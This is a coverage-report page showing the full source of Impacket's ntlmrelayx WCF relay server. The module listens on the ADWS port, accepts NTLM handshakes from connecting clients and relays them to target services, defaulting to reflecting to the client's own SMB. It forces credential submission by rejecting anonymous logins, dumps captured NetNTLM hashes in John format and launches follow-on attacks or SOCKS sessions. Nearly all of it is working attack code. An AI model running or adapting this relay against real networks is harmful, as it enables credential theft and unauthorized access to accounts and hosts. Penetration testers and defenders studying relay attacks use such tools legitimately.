Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py : 8%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# -*- coding: utf-8 -*-
2# Impacket - Collection of Python classes for working with network protocols.
3#
4# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
5#
6# This software is provided under a slightly modified version
7# of the Apache Software License. See the accompanying LICENSE file
8# for more information.
9#
10# Description:
11# WCF Relay Server
12#
13# This is the WCF server (ADWS too) which relays the NTLMSSP messages to other protocols
14# Only NetTcpBinding is supported!
15#
16# Author:
17# Clément Notin (@cnotin)
18# With code copied from smbrelayserver.py and httprelayserver.py authored by:
19# Alberto Solino (@agsolino)
20# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
21#
22# References:
23# To support NetTcpBinding, this implements the ".NET Message Framing Protocol" [MC-NMF] and
24# ".NET NegotiateStream Protocol" [MS-NNS]
25# Thanks to inspiration from https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/nmf.py
26# and https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/stream/negotiate.py by @bluec0re
27#
29import socket
30import socketserver
31import struct
32from binascii import hexlify
33from threading import Thread
35from six import PY2
37from impacket import ntlm, LOG
38from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
39from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
40from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
41from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
42from impacket.spnego import SPNEGO_NegTokenInit, ASN1_AID, SPNEGO_NegTokenResp, TypesMech, MechTypes, \
43 ASN1_SUPPORTED_MECH
46class WCFRelayServer(Thread):
47 class WCFServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
48 def __init__(self, server_address, request_handler_class, config):
49 self.config = config
50 self.daemon_threads = True
51 if self.config.ipv6:
52 self.address_family = socket.AF_INET6
53 self.wpad_counters = {}
54 socketserver.TCPServer.__init__(self, server_address, request_handler_class)
56 class WCFHandler(socketserver.BaseRequestHandler):
57 def __init__(self, request, client_address, server):
58 self.server = server
59 self.challengeMessage = None
60 self.target = None
61 self.client = None
62 self.machineAccount = None
63 self.machineHashes = None
64 self.domainIp = None
65 self.authUser = None
67 if self.server.config.target is None:
68 # Reflection mode, defaults to SMB at the target, for now
69 self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
70 self.target = self.server.config.target.getTarget()
71 if self.target is None:
72 LOG.info("WCF: Received connection from %s, but there are no more targets left!" % client_address[0])
73 return
74 LOG.info("WCF: Received connection from %s, attacking target %s://%s" % (
75 client_address[0], self.target.scheme, self.target.netloc))
77 socketserver.BaseRequestHandler.__init__(self, request, client_address, server)
79 # recv from socket for exact 'length' (even if fragmented over several packets)
80 def recvall(self, length):
81 buf = b''
82 while not len(buf) == length:
83 buf += self.request.recv(length - len(buf))
85 if PY2:
86 buf = bytearray(buf)
87 return buf
89 def handle(self):
90 version_code = self.recvall(1)
91 if version_code != b'\x00':
92 LOG.error("WCF: wrong VersionRecord code")
93 return
94 version = self.recvall(2) # should be \x01\x00 but we don't care
95 if version != b'\x01\x00':
96 LOG.error("WCF: wrong VersionRecord version")
97 return
99 mode_code = self.recvall(1)
100 if mode_code != b'\x01':
101 LOG.error("WCF: wrong ModeRecord code")
102 return
103 mode = self.recvall(1) # we don't care
105 via_code = self.recvall(1)
106 if via_code != b'\x02':
107 LOG.error("WCF: wrong ViaRecord code")
108 return
109 via_len = self.recvall(1)
110 via_len = struct.unpack("B", via_len)[0]
111 via = self.recvall(via_len).decode("utf-8")
113 if not via.startswith("net.tcp://"):
114 LOG.error("WCF: the Via URL '" + via + "' does not start with 'net.tcp://'. "
115 "Only NetTcpBinding is currently supported!")
116 return
118 known_encoding_code = self.recvall(1)
119 if known_encoding_code != b'\x03':
120 LOG.error("WCF: wrong KnownEncodingRecord code")
121 return
122 encoding = self.recvall(1) # we don't care
124 upgrade_code = self.recvall(1)
125 if upgrade_code != b'\x09':
126 LOG.error("WCF: wrong UpgradeRequestRecord code")
127 return
128 upgrade_len = self.recvall(1)
129 upgrade_len = struct.unpack("B", upgrade_len)[0]
130 upgrade = self.recvall(upgrade_len).decode("utf-8")
132 if upgrade != "application/negotiate":
133 LOG.error("WCF: upgrade '" + upgrade + "' is not 'application/negotiate'. Only Negotiate is supported!")
134 return
135 self.request.sendall(b'\x0a')
137 while True:
138 handshake_in_progress = self.recvall(5)
139 if not handshake_in_progress[0] == 0x16:
140 LOG.error("WCF: Wrong handshake_in_progress message")
141 return
143 securityBlob_len = struct.unpack(">H", handshake_in_progress[3:5])[0]
144 securityBlob = self.recvall(securityBlob_len)
146 rawNTLM = False
147 if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:
148 # SPNEGO NEGOTIATE packet
149 blob = SPNEGO_NegTokenInit(securityBlob)
150 token = blob['MechToken']
151 if len(blob['MechTypes'][0]) > 0:
152 # Is this GSSAPI NTLM or something else we don't support?
153 mechType = blob['MechTypes'][0]
154 if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
155 mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
156 # Nope, do we know it?
157 if mechType in MechTypes:
158 mechStr = MechTypes[mechType]
159 else:
160 mechStr = hexlify(mechType)
161 LOG.error("Unsupported MechType '%s'" % mechStr)
162 # We don't know the token, we answer back again saying
163 # we just support NTLM.
164 respToken = SPNEGO_NegTokenResp()
165 respToken['NegState'] = b'\x03' # request-mic
166 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
167 respToken = respToken.getData()
169 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b
170 answer = b'\x16' # handshake_in_progress
171 answer += b'\x01\x00' # version
172 answer += struct.pack(">H", len(respToken)) # len
173 answer += respToken
175 self.request.sendall(answer)
177 elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
178 # SPNEGO AUTH packet
179 blob = SPNEGO_NegTokenResp(securityBlob)
180 token = blob['ResponseToken']
181 break
182 else:
183 # No GSSAPI stuff, raw NTLMSSP
184 rawNTLM = True
185 token = securityBlob
186 break
188 if not token.startswith(b"NTLMSSP\0\1"): # NTLMSSP_NEGOTIATE: message type 1
189 LOG.error("WCF: Wrong NTLMSSP_NEGOTIATE message")
190 return
192 if not self.do_ntlm_negotiate(token):
193 # Connection failed
194 LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
195 self.target.scheme, self.target.netloc)
196 self.server.config.target.logTarget(self.target)
197 return
199 # Calculate auth
200 ntlmssp_challenge = self.challengeMessage.getData()
202 if not rawNTLM:
203 # add SPNEGO wrapping
204 respToken = SPNEGO_NegTokenResp()
205 # accept-incomplete. We want more data
206 respToken['NegState'] = b'\x01'
207 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
209 respToken['ResponseToken'] = ntlmssp_challenge
210 ntlmssp_challenge = respToken.getData()
212 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b
213 handshake_in_progress = b"\x16\x01\x00" + struct.pack(">H", len(ntlmssp_challenge))
214 self.request.sendall(handshake_in_progress)
215 self.request.sendall(ntlmssp_challenge)
217 handshake_done = self.recvall(5)
219 if handshake_done[0] == 0x15:
220 error_len = struct.unpack(">H", handshake_done[3:5])[0]
221 error_msg = self.recvall(error_len)
222 hresult = hex(struct.unpack('>I', error_msg[4:8])[0])
223 LOG.error("WCF: Received handshake_error message: " + hresult)
224 return
226 ntlmssp_auth_len = struct.unpack(">H", handshake_done[3:5])[0]
227 ntlmssp_auth = self.recvall(ntlmssp_auth_len)
229 if not rawNTLM:
230 # remove SPNEGO wrapping
231 blob = SPNEGO_NegTokenResp(ntlmssp_auth)
232 ntlmssp_auth = blob['ResponseToken']
234 if not ntlmssp_auth.startswith(b"NTLMSSP\0\3"): # NTLMSSP_AUTH: message type 3
235 LOG.error("WCF: Wrong NTLMSSP_AUTH message")
236 return
238 authenticateMessage = ntlm.NTLMAuthChallengeResponse()
239 authenticateMessage.fromString(ntlmssp_auth)
241 if not self.do_ntlm_auth(ntlmssp_auth, authenticateMessage):
242 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
243 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
244 self.target.scheme, self.target.netloc,
245 authenticateMessage['domain_name'].decode('utf-16le'),
246 authenticateMessage['user_name'].decode('utf-16le')))
247 else:
248 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
249 self.target.scheme, self.target.netloc,
250 authenticateMessage['domain_name'].decode('ascii'),
251 authenticateMessage['user_name'].decode('ascii')))
252 return
254 # Relay worked, do whatever we want here...
255 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
256 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
257 self.target.scheme, self.target.netloc,
258 authenticateMessage['domain_name'].decode('utf-16le'),
259 authenticateMessage['user_name'].decode('utf-16le')))
260 else:
261 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
262 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
263 authenticateMessage['user_name'].decode('ascii')))
265 ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
266 authenticateMessage['user_name'],
267 authenticateMessage['domain_name'],
268 authenticateMessage['lanman'], authenticateMessage['ntlm'])
269 self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
271 if self.server.config.outputFile is not None:
272 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
273 self.server.config.outputFile)
275 self.server.config.target.logTarget(self.target, True, self.authUser)
277 self.do_attack()
279 def do_ntlm_negotiate(self, token):
280 if self.target.scheme.upper() in self.server.config.protocolClients:
281 self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config,
282 self.target)
283 # If connection failed, return
284 if not self.client.initConnection():
285 return False
286 self.challengeMessage = self.client.sendNegotiate(token)
288 # Remove target NetBIOS field from the NTLMSSP_CHALLENGE
289 if self.server.config.remove_target:
290 av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])
291 del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]
292 self.challengeMessage['TargetInfoFields'] = av_pairs.getData()
293 self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())
294 self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())
296 # Check for errors
297 if self.challengeMessage is False:
298 return False
299 else:
300 LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())
301 return False
303 return True
305 def do_ntlm_auth(self, token, authenticateMessage):
306 # For some attacks it is important to know the authenticated username, so we store it
307 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
308 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
309 authenticateMessage['user_name'].decode('utf-16le'))).upper()
310 else:
311 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
312 authenticateMessage['user_name'].decode('ascii'))).upper()
314 if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':
315 clientResponse, errorCode = self.client.sendAuth(token)
316 else:
317 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
318 # when coming from localhost
319 errorCode = STATUS_ACCESS_DENIED
321 if errorCode == STATUS_SUCCESS:
322 return True
324 return False
326 def do_attack(self):
327 # Check if SOCKS is enabled and if we support the target scheme
328 if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:
329 # Pass all the data to the socksplugins proxy
330 activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),
331 self.authUser, self.client, self.client.sessionData))
332 return
334 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
335 if self.target.scheme.upper() in self.server.config.attacks:
336 # We have an attack.. go for it
337 clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config,
338 self.client.session,
339 self.authUser)
340 clientThread.start()
341 else:
342 LOG.error('No attack configured for %s' % self.target.scheme.upper())
344 def __init__(self, config):
345 Thread.__init__(self)
346 self.daemon = True
347 self.config = config
348 self.server = None
350 def run(self):
351 LOG.info("Setting up WCF Server")
353 if self.config.listeningPort:
354 wcfport = self.config.listeningPort
355 else:
356 wcfport = 9389 # ADWS
358 # changed to read from the interfaceIP set in the configuration
359 self.server = self.WCFServer((self.config.interfaceIp, wcfport), self.WCFHandler, self.config)
361 try:
362 self.server.serve_forever()
363 except KeyboardInterrupt:
364 pass
365 LOG.info('Shutting down WCF Server')
366 self.server.server_close()